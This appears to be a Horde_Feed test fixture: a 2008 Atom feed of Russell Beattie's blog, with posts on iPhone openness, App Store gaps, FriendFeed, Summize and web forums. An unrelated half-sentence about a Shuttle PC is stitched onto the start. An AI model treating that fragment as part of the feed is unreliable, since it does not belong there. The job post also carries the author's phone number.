squarely targets the budget market, the KPC features a small form factor and high energy efficiency. Shuttle has teamed up with Foresight and says that the Linux distribution's intuitive interface, user-focused design, and robust selection Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.russellbeattie.com-notebook-rss.jsp0000664000175000017500000026315012653701626030566 0ustar janjan Russell Beattie’s Weblog ...because I can't shut up. 2008-07-20T12:16:55-07:00 http://www.russellbeattie.com/blog/atom Russell Beattie russ@russellbeattie.com http://www.russellbeattie.com/images/russellbeattie_sm.jpg <![CDATA[iPhone Reconciliation]]> Russell Beattie russ@russellbeattie.com http://www.russellbeattie.com/blog/iphone-reconciliation 2008-07-20T12:16:55-07:00 <p><img src="http://www.russellbeattie.com/blog/media/iphone.png" alt="[image]" /></p> <p>It's amusing to see a bunch of people in the tech community having trouble reconciling their love for the iPhone vs. how closed and proprietary it is. It's a real conundrum... The iPhone 3G is the best mobile phone there is, bar none, in both functionality and usability. It's also relatively inexpensive, widely marketed, and easy to get down at your local mall so tons of your friends and family have one as well. And there's nothing else like it on the market now, or in the forseeable future.</p> <p>However, from a technology perspective, it's about as closed as they come. And this has caused some real consternation in the tech community. They're trying to work through the issue it seems, but haven't really quite gotten it straight in their minds yet.</p> <p>First there's Gina Trapani writing about how you should <a href="http://lifehacker.com/398658/why-youre-better-off-avoiding-the-iphone">avoid the iPhone</a>, despite the fact that she doesn't actually follow this advice. She lays out the very real problems that the iPhone has from a Free Software and DRM perspective, but in the end simply covers up the Apple logo in a "minor rebellion" and keeps using it.</p> <p>Then there's Tim Bray, writing about his <a href="http://www.tbray.org/ongoing/When/200x/2008/07/18/Mobile-Net-Gloom">Mobility Blues</a>, because Java development on most phones sucks, Android is nonexistent, and developing for the iPhone despite how nice it is, is akin to being a sharecropper. He doesn't actually address development for Blackberry, Symbian or Windows mobile devices because really, the entire post is summed up as, "God, the iPhone rocks, I wish it were open, or at least had a decent JDK from Sun." :-)</p> <p>Then there's Tim O'Reilly - who's been a huge iPhone booster despite the fact that his company was essentially built supporting open source - <a href="http://radar.oreilly.com/2008/07/iphone-rants-and-raves.html">wondering about</a> "devices and services that people love so much that they even love to hate them." I don't think anyone loves to hate the iPhone (except competitors obviously), it's that *they hate that they love it*. There's a difference.</p> <p>One of the amusing things in O'Reilly's post was at the end where he wrote that Jeff Weiner asked him to "write something that explains why the iPhone is such a paradigm-shifting device," which he agreed he should do. It's sort of another attempt to reconcile the love/hate relationship with the device: "I have to love it! It's 10x better than anything else before it!" But is that true? I don't think so.</p> <p>I really don't see any paradigm shift beyond the normal Apple integration and marketing magic. Anyone who's used smartphones for the past few years knows that the iPhone doesn't do anything that another comparable device like a Nokia N95 does - it just integrated them better. There are some innovations like the multi-touch screen, but in general the iPhone succeeds because the whole ends up being more than the sum of it's parts. It's not like it's 10x better than anything else, however. It all depends on your perspective and what you use your phone for. Ask a heavy Blackberry user if they prefer an iPhone's email client, for example, or a Nokia user chatting for free using integrated VoIP if they'd like to give it up, or ask a heavy Danger HipTop users if they want to give up their 24/7 IM connections and I doubt you'd get many takers. That said, ask any Motorola RAZR user what they prefer and there's no contest, so it really just depends on where you're coming from.</p> <p>I've loved the iPhone since the moment I started using it (check the archives, baby), and have only gained more respect for it as time goes on. But as a developer and business person I've always been wary of it, and maybe a little annoyed that so much attention was lavished on it to the detriment of other more open platforms. I take the long view, however. The iPhone will never gain a monopoly like Windows - there's just too much competition in the market. Competitors from all sides - from the Intel backed MID devices to the Nokia backed mobile devices to the Linux backed open devices - will eventually catch up in terms of features and functionality. So therefore it's just a matter of time before there are more open alternatives that don't require any sort of sacrifice to use. Just like I use a Sony Vaio laptop with Ubuntu on it instead of a MacBook, with little to no loss of features and a much expanded universe of possibilities, eventually we'll see the same in the mobile market. Until then, I happily have an iPhone in my pocket and not worry about it.</p> <p>That doesn't mean I'm content - every time I pull it out of my pocket I almost let out an audible sigh. My biggest regret so far as a professional in the mobile space is that I had nothing to do with that device, actually. I wish I had something to do with it because it's so nice, and has brought smartphones to the masses in a way that no one else could. It would have been nice to have been part of that effort.</p> <p>I could actually see <a href="http://www.russellbeattie.com/notebook/1008182.html">what Jobs was going to do</a> years ago. Here's what I wrote back in 2004:</p> <blockquote> <p><em>Steve Jobs has a mobile phone. I'm not sure which mobile phone it is, but he's definltely got one. And he hates it. He curses at it every day. He hates it like he hated the original IBM PC. He hates how hard it is to add contacts and make calls and he cringes at the web experience and the Java games, if he's even bothered to try them. He holds it in his hand during long trips and admires some things about it, but knows *he could do it better.* He knows that if Apple decided to make a mobile phone, it would be the most intuitive and elegant mobile phone in the world. And he wants that phone.</em></p> </blockquote> <p>And he got it. But that's the thing: It's Steve Job's phone, and you shouldn't forget it. You can use it, you can love it, you can praise it, buy apps for it and let your kids play with it. You can do everything you want, but just remember, it's not yours and never will be.</p> <p>If you're in technology, this is the thing to understand and once you accept this, it's pretty easy to enjoy how nice the iPhone is. Like leasing a BMW or something. It's not yours, but it doesn't make driving it any less enjoyable.</p> <p>:-)</p> <p>-Russ</p> <p><a href="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?a=eH5zZp"><img src="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?i=eH5zZp" border="0"></img></a></p> <![CDATA[The missing iPhone apps]]> Russell Beattie russ@russellbeattie.com http://www.russellbeattie.com/blog/the-missing-iphone-apps 2008-07-17T22:35:51-07:00 <p><img src="http://www.russellbeattie.com/blog/media/appstore.jpg" alt="[image]" /></p> <p>So I got the new iPhone 3G, and have upgraded my old one to the 2.0 firmware, and have been pretty impressed with some of the innovative applications that are available online. I was thinking about this to myself while keeping my 6yo son occupied today at a restaurant with a free Pong-clone that I looked up and downloaded while we were sitting there. It's simple and fun, though he discovered soon enough that tilting the phone towards your opponent makes the ball go that much faster, and soon I was afraid we were going to snap it in half trying to tilt in the opposite sides direction.</p> <p>That said, there's a lot of apps that are just plain missing from the app store - most of them which have been available on much less capable mobile phones for years now. Considering some of the crap that's in the catalog, I wonder if there's just a vacuum of Mac-toting Objective C developers, or if Apple is actively keeping these apps out of the AppStore?</p> <p>Some stuff that's missing is just plain geeky, I admit. The first things I want to see are an IRC client, Jabber client, an SSH terminal and a Remote Desktop or <strike>VNC client</strike> [Update: There is a VNC client already! :-)]. Yes, I'm a geek - but so are the people who usually write these sorts of apps, which makes me think there's not really a dearth of these types of apps, but that Apple is only allowing "commercial" types of programs in the App store.</p> <p>Beyond this stuff, I'd love to see a real VoIP client (Skype, or SIP) - all the advanced Nokia phones have this stuff integrated into them already - so it can't be carrier pressure or anything unless they're being overly cautious. I'd also love to have a camcorder app, or at least a decent camera app that doesn't lack features like the integrated one does (timer, digital zoom, etc.). And what about an Opera or Mozilla browser, maybe with integrated Flash? There doesn't seem to be any real technical reason for them not to be there.</p> <p>Those are sort of "nice to have's", but an example of an important and popular app that's missing is MobiTV. Live streaming TV has been a staple on American mobile phones since I got my Nokia 6620 EDGE phone years ago. Not being able to have the option to watch live TV on HSUPA 3G networks is a almost a crime. I can't imagine that MobiTV ignored this platform outright, can you? And YouTube and Pandora already do video and/or streaming. Something else must be going on.</p> <p>Thinking about it I realized the AppStore doesn't have any apps with a subscription model. They're all apps that are buy-once, use forever. Until I realized this, I had simply mentally compared the Apple AppStore to the Qualcomm Brew deck that's been on CDMA phones for years, but now I realize that in fact, it's actually much less capable. (Sorry Apple fans, they are neither the innovator here, nor apparently the most full-featured either.)</p> <p>The comparison is actually quite accurate in general though. I still think it's shitty that I have to go through the iTunes interface to install apps at all - this is just like how Brew phones work as well. Why can't I just load up an app from any URL? Apps should be thought of as music, and just like I can "sideload" my iPhone with MP3s from my CDs, I should be able to load up apps from independent sites as well. This is exactly like the Qualcomm model. But you know, I remember being at one of the first MobileMondays in San Francisco years ago and Rocket Mobile was presenting, and Marc Canter sitting in the back having an absolute coronary hearing about all the limitations of the Brew app platform and being absolutely aghast that any developer would want to play that game, regardless of the revenue model. It seems however, that he's among the few, and Apple especially seems to able get away with this crud without so-much as a negative peep from the blogging or developer community. Hey, if you don't like it, don't develop for it, right? Sure, that's fine, I honestly just can't believe there's so many developers who decided to accept it.</p> <p>The sad part about it is most of the stuff I'm missing were available <a href="http://www.russellbeattie.com/notebook/1005581.html">on my Nokia 6600 in 2003</a>. So if that's the case, why do I use an iPhone? Because it's the best damn mobile phone on the freakin' planet, with the biggest screen and nicest UI - that doesn't mean I need to eat Apple's shit and like it though.</p> <p>All that said, I do have to say that there's apps for the iPhone that I *haven't* seen on any of the other smartphones out there even with years head start, so there's definitely a thriving and innovative community supporting the iPhone, and for that I'm happy and look forward to seeing what comes next. But just imagine how much *more* innovation we would see if these developers were actually using an open platform instead?</p> <p>-Russ</p> <p><a href="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?a=RVFPG5"><img src="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?i=RVFPG5" border="0"></img></a></p> <![CDATA[Roomatic]]> Russell Beattie russ@russellbeattie.com http://www.russellbeattie.com/blog/roomatic 2008-07-16T19:50:27-07:00 <p><img src="http://www.russellbeattie.com/blog/media/roomatic.png" alt="[image]" /></p> <p>I decided to whip up an experiment called <a href="http://roomatic.com">Roomatic</a> to test out some ideas I had to give Twitter some more forum-like community functionality like I've been posting about lately. The end result ended up being a way of using Twitter like how you would use IRC, with the channels based on #hashtags that are included in messages and presented in a standard chatroom interface.</p> <p>At first I was aiming towards making a sort of Twitter-based clone of FriendFeed's comment functionality (which I may still try to do) so you'll see that Roomatic's rooms don't just have to be hashtags, but also "hashurls" (I just made that up, can you tell?). In other words, you can pre-pend a URL with a hashmark like this: #<a href="http://tinyurl.com/3c9ljq">http://tinyurl.com/3c9ljq</a>, and it becomes a room based on that URL. (Try it to see what I'm talking about).</p> <p>That was the base of the functionality I wanted to use to enable comments, but then as I started messing with the Twitter and Summize APIs, I realized I could make it a bit more "live" using the JSON API. It ended up working out really well and enabled me to make a service out-of-the-box so that I didn't have to have users add Roomatic as a friend to use it (like you do with <a href="http://hashtags.org">hashtags.org</a>), nor did I have to store any user data. The Twitter POST just gets passed through to the server, and the rest comes directly from the JSON query. The result is the same sort of functionality I was looking for, but with minimal resources needed on my server.</p> <p>I'm *so* glad that Twitter bought Summize, as even though they encouraged people building stuff on their API, I was worried about hammering at their servers too much. Each page will poll the JSON Search API once every 3 seconds for updates - and even though you can set it so that it only asks for updates since a specific tweet ID (which I did), it still seemed like a lot to do to some third party. Twitter, however, is supposed to handle it. :-)</p> <p>This isn't much different than the functionality that Summize/Twitter Search already has, truth be told, but I wanted to see how it would "feel" with a slightly tweaked UI and updates that are shown immediately. I'm not particularly adept at Javascript or JQuery, so it's a bit crufty at the moment, but it gets the general idea across. (If you know ways of improving the way the Javascript works, *please* feel free to ping me).</p> <p>Anyways, because only the original room requests and posts go through the server and the rest is done via JSON, it's actually quite light to host, so I thought it would be fun to throw the site out there, even in its crufty state. Try it out and tell me what you think.</p> <p>Oh, and I'll be in #<a href="http://roomatic.com/roomatic">roomatic</a> if you want to chat.</p> <p>:-)</p> <p>-Russ</p> <p>Update: Tweaked the site a bit so that #hashtags aren't the default, just the room word itself. Hashtags can still be used to narrow the results with a %23 added to the room name.</p> <p><a href="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?a=YEJbeS"><img src="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?i=YEJbeS" border="0"></img></a></p> <![CDATA[I need a job!]]> Russell Beattie russ@russellbeattie.com http://www.russellbeattie.com/blog/i-need-a-job 2008-07-08T11:38:25-07:00 <p>Ahh, so it's that time again, when I post about needing to find a job - only this time I really mean it. :-) I've spent the past couple months decompressing after the failure of Mowser, and now looking at my bank account, it's time to get serious about moving on. Happily I can say that I'm rested, semi-tanned, and completely bored out of my mind, so finding a nice place to do some cool stuff sounds very appealing to me at the moment.</p> <p>If you have a job that you think I might be good for, please email me at russ@russellbeattie.com, or call me at +1 415 606 5345.</p> <p>My <a href="http://www.russellbeattie.com/resume.html">resume is here</a>. The question you might be asking after seeing it is what exactly is it that I do? Well, that's a good question. I'm not a heads-down programmer any more, nor do I have real experience in product or project management, and though I did start my own company, it died... So that leaves me with hand waving, I guess. Do you need a good hand-waver (consultant, strategist, analyst)? If so, I'm your man!</p> <p>Actually, I swore that if I failed at Mowser, I was going to shift gears and do something else like write for a living, or maybe be a full-time analyst (I did apply to Forrester last week, but they haven't responded yet). That said, the salary you can make in a technology company is still better than what you get as a writer, so it'd be sort of silly to just jump ship if I can still get a decent gig at one of the web companies or startups around. It's going to be a tough haul, though... I've had some phone interviews already with people just looking for low-level PHP contractors and they didn't go well, and since I don't think anyone in the mobile-web business wants to talk to me any more (for obvious reasons, as I think they're doomed) I really have limited options. If you know of something, definitely send it my way!</p> <p>Thanks!</p> <p>-Russ</p> <p><a href="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?a=NakXXO"><img src="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?i=NakXXO" border="0"></img></a></p> <![CDATA[Trending Topics]]> Russell Beattie russ@russellbeattie.com http://www.russellbeattie.com/blog/trending-topics 2008-07-08T09:32:27-07:00 <p><img src="http://www.russellbeattie.com/blog/media/summizetopics.png" alt="[image]" /></p> <p>The news broke last night that Twitter is going to buy <a href="http://www.summize.com">Summize</a>, which I think is fantastic because it's such a great service which really adds a ton of value to Twitter. Om, in his jetlagged state, <a href="http://gigaom.com/2008/07/07/summize-twitter-deal">wrote about why it's important here</a>: the idea is that analysis of conversations is good for contextual advertising, etc. "We monitor collective attitudes being expressed right now on the web".</p> <p>That's great that Summize thinks of itself that way, as I've personally thought that's been the best part of the service - and something I've used daily for the past couple weeks. The "Trending Topics" link section on their front page is really, really cool - much moreso than the search stuff. (I wish in fact there was a feed of just those links so you could see topics as they bubble up to the list. I'd also love to see them expanded on as well - a bigger top 100 list per day for example.)</p> <p>The reason I think they're so cool is that you get to take the pulse of a thousand conversations from a million people or so and find out what they're interested in at any given moment. This is pretty great for someone like myself that tends not to be aware of popular issues outside my little tech bubble I live in. For example, lately I've learned that the Bachelorette was coming to the end and seemed to be something lots of people were interested in. (I had zero idea the show even existed). Also, I've seen movie reviews pretty consistently, and news topics as they pop up. Right now, because of the population of Twitter is left-leaning alpha-geeks and power users, the topics tend to be on that side of things with "Obama" being a semi-permanent member of the list, as well as navel-gazing type links - "Oooh, boy! Another AIR client for Twitter!" - and technology stuff like this morning's Drobo 2.0 announcement. But as the user base expands, the topics should get much more broad, and it'll be interesting to see what they are.</p> <p>It's like those year-end zeitgeist reports that Google and Yahoo! do where they list the most important search terms of the year, but live and constantly updated. And more importantly, I don't just see that people are searching "about" something, but I get to see their opinion on it as well. Do they like the thing they're mentioning, or do they hate it? That's a key differentiator from a "popular search terms" list we've seen up til now.</p> <p>I think if Twitter doesn't end up buying Summize, or even if they do that they should re-focus a lot of their effort in this area as this stuff is valuable to a ton of other services out there. (This was no doubt Summize's original business plan...). I just have that gut feeling of its inherent value, and it seems huge to me. Imagine a "topic engine" that did nothing but scour the latest blog posts, tweets, forum posts, etc. and created live topic lists for tons of areas? Like Nielson on steroids. It seems to me it'd be a really valuable position to be in: "Why is that important? Oh, Summize said it was."</p> <p>All that said, it seems like something that Google or Yahoo! could do in a heartbeat since they're already spidering so much content out there. I wonder if we'll see something from them sometime soon now that it's been pointed out?</p> <p>-Russ</p> <p><a href="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?a=TBMnwy"><img src="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?i=TBMnwy" border="0"></img></a></p> <![CDATA[Playing with Seesmic]]> Russell Beattie russ@russellbeattie.com http://www.russellbeattie.com/blog/playing-with-seesmic 2008-07-08T00:55:27-07:00 <p><span style="padding:0px; margin:0px; display:block"><object width="435" height="355"><param name="movie" value="http://seesmic.com/embeds/wrapper.swf" /> <param name="bgcolor" value="#666666" /> <param name="allowFullScreen" value="true" /> <param name="allowScriptAccess" value="always" /> <param name="flashVars" value="video=AjbBrGxzNa&amp;version=threadedplayer" /> <embed src="http://seesmic.com/embeds/wrapper.swf" type="application/x-shockwave-flash" flashvars="video=AjbBrGxzNa&amp;version=threadedplayer" allowfullscreen="true" bgcolor="#666666" allowscriptaccess="always" width="435" height="355" /></object></span><span style="display:block; width:435px; margin:0px; padding:0px;background:url(http://seesmic.com/images/seesmichtml.gif) left top repeat-x"><a href="http://seesmic.com" target="_blank"><img width="100%" height="29" style="border:none" src="http://seesmic.com/images/spacer.gif" border="0" alt="[image]" /></a></span></p> <p>Just trying out the new Adobe Flash 10 for Linux support for v4l2... yay!</p> <p>-Russ</p> <p><a href="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?a=IksNAp"><img src="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?i=IksNAp" border="0"></img></a></p> <![CDATA[Grokking FriendFeed]]> Russell Beattie russ@russellbeattie.com http://www.russellbeattie.com/blog/grokking-friendfeed 2008-07-06T11:04:45-07:00 <p><img src="http://www.russellbeattie.com/blog/media/friendfeed.png" alt="[image]" /></p> <p>Even though I signed up for it months ago, it took me until just last night and today to figure out WTF was going on at FriendFeed. I'd see raves about it pop up on TechMeme, I'd go try it, not have any clue what the use of it was, and then forget about it again. It seemed like chaos and noise to me and no better than my current news reader.</p> <p>So last night I went through and started cleaning everything up - I got rid of all my feeds first, and just added in my blog, Twitter and Disqus. Then I deleted all my friends, and went through and added a few back in by hand. That seemed to clean things up quite a bit, and this morning I confirmed FriendFeed was much more useful.</p> <p>This is really the fault of FriendFeed's signup design because of its emphasis on adding your Facebook friends. When you sign up to the the service, it asks if you want to import from Facebook - and then automatically adds a bunch of those users who are already signed up if it finds matches, auto subscribing you to their set of feeds and vice versa. That just added tons and tons of feeds right away. Combine that with the "feature" of seeing 'friend of friends' feeds and the fact that you can sign up to the service like I did, add in a bunch of links, and then never return to it again, is just a recipe for noise.</p> <p>So now that I cleaned everything up, I'm grokking what's going on quite a bit more, and there's a few things that are going on that are interesting - and not just another mashup of feeds. There are (at least) three distinct parts to the system that I finally have figured out.</p> <p>The first part of the service should almost be called "Friend's Feeds" (possessive and plural) as the idea is that you and your contacts can add in all the feeds from their various services they use regularly and they will appear on your home page as an "activity stream". Each user's profile page is also sort of a summary of their online activity as well which if you think about it is incredibly useful. Rather than having to create a feed which splices in all the various services, FriendFeed does it for you and creates a nice web-viewable page for people you know (private or public, your choice) and also creates a "feed of feeds" as well. Though I've had readers of this blog complain when I spliced in various other feeds like my del.icio.us links or my Twitter posts, it's still a great reflection of what I want to share online - so it's very cool.</p> <p>Side note: One has to wonder if FeedBurner - who had a limited feed splicing in their service from years ago - will get into the act and offer a more complete service that competes on this level? I already use FeedBurner to offload the robot activity from my blog's feed, it's tempting to also offer my FriendFeed spliced feed as well. Reversing this, I wonder if FriendFeed will ever provide the stats of FeedBurner or the ability to map domains?</p> <p>The second part of FriendFeed is the direct posting/sharing feature. You can share links and tweet-like posts directly on FriendFeed, bypassing the other systems you may use. This is sort of brilliant. Once users start using FriendFeed and get others to subscribe to it, they'll star to wonder, "Why post this link on del.icio.us or use Twitter to post a random thought, when I can just share it straight to FriendFeed instead?" Though at first, you might not have enough friends who know about your FriendFeed stream, so you might be afraid of posting something that no one else sees - as more of your friends start using it (or are aware of it), there's a tipping point where it becomes</p> <p>Finally, the last part is the comments/forum features which have been layered on top of all the items that have been posted to the service. Each item - whether it's a Flickr photo that's been imported via your Flickr feed, or a post you wrote directly in FriendFeed using the "Share Something" button - is the basis of a public conversation where other FriendFeed users can add their thoughts by adding a comment. Additionally, you can choose to share an item or a feed directly into a FriendFeed Room, where the comments on those items are seen by everyone in that room, whether they subscribe to the original item's feed or not.</p> <p>Had I understood how much FriendFeed acts like a forum last night, I would have added to my <a href="http://www.russellbeattie.com/blog/my-fascination-with-web-forums">mongo-post</a> about the subject. The fact that I discovered after I had already posted about how compelling forums are, and how FriendFeed is gaining traction quickly only goes to reinforce the point of my post I think.</p> <p>There's actually a huge similarity in how 4Chan works, and how FriendFeed works which unless you're obsessed with the subject you may not notice. When a user comments on an item in FriendFeed, it "bumps" the feed back to the top of your activity stream. This is very similar to how many forums - especially the anonymous ones - work as well. It serves to help continually push the topic and encourage users to respond to each other, as the discussion keeps coming to the top until it loses steam.</p> <p>So FriendFeed does some really interesting things, and some more that I haven't paid much attention to yet (the Digg-like "joe liked this" rankings for example), but honestly, it's a total *mess*. It's sort of the anti-Twitter in terms of usability and focus. It's so completely geared towards the power user and uber-geeek its not funny - though with a name like FriendFeed, it's not surprising, most people still have no idea what the hell a 'feed' is. But even for the most jaded Web 2.0 super user, the service's multitude of entry points (feeds, sharing, comments) makes it so easy to devolve from a useful service into pure noise, as I personally can attest to.</p> <p>FriendFeed needs a serious cleanup, IMHO. Some problems:</p> <p>* Their tab metaphor is all screwed up - some things get new tabs, others are in sub-tabs/links. Tabs pop up and then disappear. It's just horrible.</p> <p>* Your account settings are accessed by a link up in the corner, and has some functionality you'd expect in the friend settings tab, which is hidden off on the right.</p> <p>* The Facebook integration is just a bad way to start off (like I said above) - I don't subscribe to everyone in my Facebook's feeds for a reason.</p> <p>* Showing me friend-of-friends by default is just dumb, and the setting to turn it off is really hard to find and should be in a global settings page.</p> <p>* There's no way to filter which feeds of my friends I see. Just because someone's added in 30 different sources, doesn't mean I need to see them all. Why is it all or nothing?</p> <p>* There's no list of Rooms... which I think is weird and probably just an oversight for now.</p> <p>* Profile pages have everything except the most basic info! It needs a blurb and a "main link" as well. Some people have added me, and it's hard to figure out which of their many feeds is best to learn about who they are.</p> <p>* Is FriendFeed mainly an activity stream, a microblog system, or a forum? They don't have to cut features, but they need to choose a focus.</p> <p>Okay, so that's all my thoughts for now. Feel free to <a href="http://friendfeed.com/russellbeattie">add russellbeattie</a> to your FriendFeed friends or subscribe to my <a href="http://friendfeed.com/russellbeattie?format=atom">feed-of-feeds</a>, which only has a few services right now, but will probably expand as I use the service more.</p> <p>-Russ</p> <p><script type="text/javascript" src="http://friendfeed.com/embed/widget/russellbeattie"> </script></p> <p><a href="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?a=GtDrSt"><img src="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?i=GtDrSt" border="0"></img></a></p> <![CDATA[My fascination with web forums]]> Russell Beattie russ@russellbeattie.com http://www.russellbeattie.com/blog/my-fascination-with-web-forums 2008-07-06T00:14:11-07:00 <p><a href='http://grapher.compete.com/deviantart.com+twitter.com+ubuntuforums.org?metric=uv'><img src='http://grapher.compete.com/deviantart.com+twitter.com+ubuntuforums.org_uv.png' alt="[image]" /></a></p> <p>Think about the last time you were trying to find an answer for something online - where did you eventually find the solution? It may depend on what you were looking for, but for me the answer is invariably contained in a web forum somewhere online. Blogs will many times have information about what I'm looking for, but almost always there's a forum thread or two out there that has as much or more info about whatever it is I'm looking for. Forums are as old as the Internet itself (newsnet, bulletin boards, AOL boards, etc.), and yet they're still fascinating to me.</p> <p>They're so useful, varied and popular and yet they're also so broken in many ways. I really don't think enough effort has been dedicated to "figuring out" why they work, and what can be done to improve on the standard formula. Forums have a pretty common structure - you have a main page where you see "categories" of things to leave messages about, then within those category pages are "threads" or "discussions" which show the first message in the the thread, and the number of replies to it. Clicking on the thread leads to a list of messages about that subject.</p> <p>This tried and true model serves some of the <a href="http://www.big-boards.com/">biggest websites</a> out there. They're not big as say, Yahoo! or AOL, but they collectively have millions of members who produce millions of posts every day. The amount of knowledge and effort going into those sites is incredible - but they seem almost completely under the radar of entrepreneurs or investors because they are so common.</p> <p>Yet look at the graph I included above from Compete.com - there's so much interest in Twitter and yet it only just recently passed GaiaOnline in terms of users, and hasn't caught up yet with the image forum DeviantArt. Sure, Twitter's growth is fantastic and viral, but look at those other sites, chugging along with millions of members and posts, and there's dozens more just like those out there.</p> <p>This is what I've been obsessing about lately. I've actually written about forums before, but I'm looking at them with fresh eyes and noticing how interesting they are, and yet how little they've been modernized. I have the sensation there's a huge opportunity here waiting to be taken advantage of.</p> <p>If you step up a few levels, it's easy to think of *everything* as a forum of one sort or another, yeah? Social Networking contain forums, profile pages with "wall" posts are like personal forums, Yahoo! and Google groups are forums, blogs with comments are forums, company feedback pages are forums, etc. etc. But I'm thinking of the topic-based, shared-experience forums rather than these smaller discussion pages.</p> <p>I think that may be what attracts me to forums so much. I always go back to my experience with Facebook most of my interactions using the system are one-on-one. I approve new friends, I get a few messages, I leave and read Wall posts - everything is done in the context of one person talking to another, though in the view of the public. I've gone hunting around for interesting forums or groups in Facebook with real content and there doesn't seem to be much there. It's a person-centric social structure, not an object-centered one like most of the forums. You go to the massive IGN forums to talk about games, GaiaOnline to talk about Anime and you go to DeviantArt to share interesting images. These are things I can understand and relate to - it's the difference between going to a party, and going to a meetup or event. I rarely do either, but I much prefer meetings with a purpose, just like I much prefer forums.</p> <p>The genres of forums are interesting as well to me. I've been fascinated with Japan's <a href="http://en.wikipedia.org/wiki/2ch">2ch</a> "image board" forum for years now, and recently explored the English-language equivalent at <a href="http://4chan.org">4chan.org</a>. Both are anonymous forums (which I initially <a href="http://www.russellbeattie.com/notebook/1008640.html">wrote about years ago</a>), neither requiring users to log in, with most posts being written by "Anonymous". Both are also incredibly influential - 2ch much moreso in Japan, but 4Chan is the source of many of the Internet memes we've seen over the past couple years (Rickrolling, etc.). According to Wikipedia, 4Chan's /b/ "random" topic has wracked up an incredible 70MM posts in its 4 years.</p> <p>Well, most of that is probably the absolute worst trash you can imagine. Even if you've seen it all, hanging out on 4chan for a bit will scar your retinas and challenge your faith in the good of humankind. That said it's the ultimate expression of free speech, and hey, also pretty amusing at times. :-) Putting aside moral and ethical questions for a moment (the racism, sexism and homophobia on /b/ is pretty disconcerting...) I'm just thinking of the numbers. The volume of posts is such that you don't actually have to ever use the "next page" links, simply refresh the topic pages, and posts will bump up over and over again. There's obviously something about this type of forum which is incredibly compelling.</p> <p>Well, all forums actually. People post and post and post to them. Think 4Chan's number of posts is huge? According to Big-Boards, GaiaOnline has over 1.3 BILLION posts! They're obviously the exception (and are such a force, they're launching their own MMRPG based on their forums, which is crazy), but IGN has 181MM posts in its site, Nexopia has 160MM.</p> <p>This is what excites me, because it seems for all their size and popularity, most of the popular boards use off the shelf software to do most of their work. And maybe that's fine since the compelling part of the forums ostensibly aren't the features of the site itself, but the topic it's covering. Companies are already taking advantage of the fact that there's little need to innovate - Ning, for example, is essentially just a forum site. Browsing the most popular or featured "networks", their basic forum component is always the core element - with the other features like extensive profiles and friends being secondary. <a href="http://www.lefora.com/">Lefora</a> is focusing just on the forum itself, not even bothering with the social stuff. This makes sense, since it seems that once you've created a forum around a topic, traffic and posts seem to follow regardless of additional features.</p> <p>But what's to say that by changing some of what's considered standard in forums, there wouldn't be something that's even more compelling?</p> <p>A few years ago I was doing some thought experiments around this topic when tagging was all the rage and ended up with what I called a "hyper forum" (I <a href="http://www.russellbeattie.com/notebook/1008301.html">wrote about it here</a>.). The idea was to add tags to each post in a normal forum, so you could then follow posts in various dimensions - by date, by thread and by tags. It didn't work out very well as it was incredibly confusing, but it was an interesting experiment.</p> <p>Going in the opposite direction of adding to forums, how about simplifying instead. For example, is there really a need for both topics and threads? Is there a better way for non-registered users to discover topics (say by word frequency or page-view popularity)? Is there a better way for users to keep track of posts and replies? Essentially what I'm thinking of is a microblog version of a forum - simplified and streamlined.</p> <p>One of the things I'm obsessed with is "user friction", which is why I love anonymous forums so much. For example, there's zero friction involved in participating in a 4Chan thread. You don't have to register, and the upload field is part of the main form. You just write what you want, add a file and you've instantly added content to the forum. But the site just looks like hell and takes ages to understand what's going on.</p> <p>The problem however, with all forums especially ones you can post anonymously to is spam and/or illegal activies and content. Years ago I remember wondering why Yahoo! didn't do more to emphasize their message boards or chat rooms. Those are the ones that used to be part of Yahoo! Messenger or linked at the bottom of news posts. <a href="http://habitatchronicles.com/">Randy Farmer</a> - who's been doing <a href="http://www.fudco.com/chip/lessons.html">virtual community stuff</a> longer than I've been using a computer mouse regularly - sat me down and explained how the more anonymous a community is, the more work it takes to maintain and the less value it has to users and ultimately to advertisers. The message boards were filled to the brim with spam and the chat rooms were filled with nothing but crude behavior and high probability of "grooming". Since human moderation was expensive, and ultimately impossible, Yahoo! eventually got rid of that stuff as it was just too taxing and/or dangerous to maintain.</p> <p>Again, this goes back to why Twitter is so interesting. The whitelist system cleans up so much of that stuff it's incredible (as <a href="http://www.russellbeattie.com/blog/nearly-a-million-users-and-no-spam-or-trolls">I wrote about here</a>), thus also making it quite valuable. Sure, you might get requests to be be friends with 100 bots a day, but if you don't add them, you don't see their crap in your messages. The question is, how can you duplicate this inherent value in a forum?</p> <p>I've got some ideas, which is why I was excited to play with the Laconi.ca codebase a bit a couple days ago at my catchall domain <a href="http://foozik.com">Foozik</a>. The first thing I did was bump up the maximum length of a post to 280 characters, and add in automatic embedding of image and YouTube links. It's not a forum, but it's at least a bit more in line with some of my thoughts for features that I think would be interesting to have. I'll most likely start in on the code again from scratch though, as I want it to be unique, but it's good to test out ideas.</p> <p>I envision this sort of combination of Tumblr, Twitter and 4Chan in my head - where it's super easy to start posting various content types, and easy to keep track of a thread and replies, but with much less baggage of a traditional forum with their tables and links and weird avatars and sigs cluttering the interface. The questions is how to keep the quality up and spam out, and that I'm not sure about just yet... but I feel like I'm close.</p> <p>Maybe just a couple more years, and I'll have figured it out. :-)</p> <p>-Russ</p> <p><a href="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?a=KgMRKU"><img src="http://feeds.russellbeattie.com/~a/RussellBeattieWeblog?i=KgMRKU" border="0"></img></a></p> <![CDATA[Let the microblogs bloom]]> Russell Beattie russ@russellbeattie.com http://www.russellbeattie.com/blog/let-the-microblogs-bloom 2008-07-03T12:35:05-07:00 <p><img 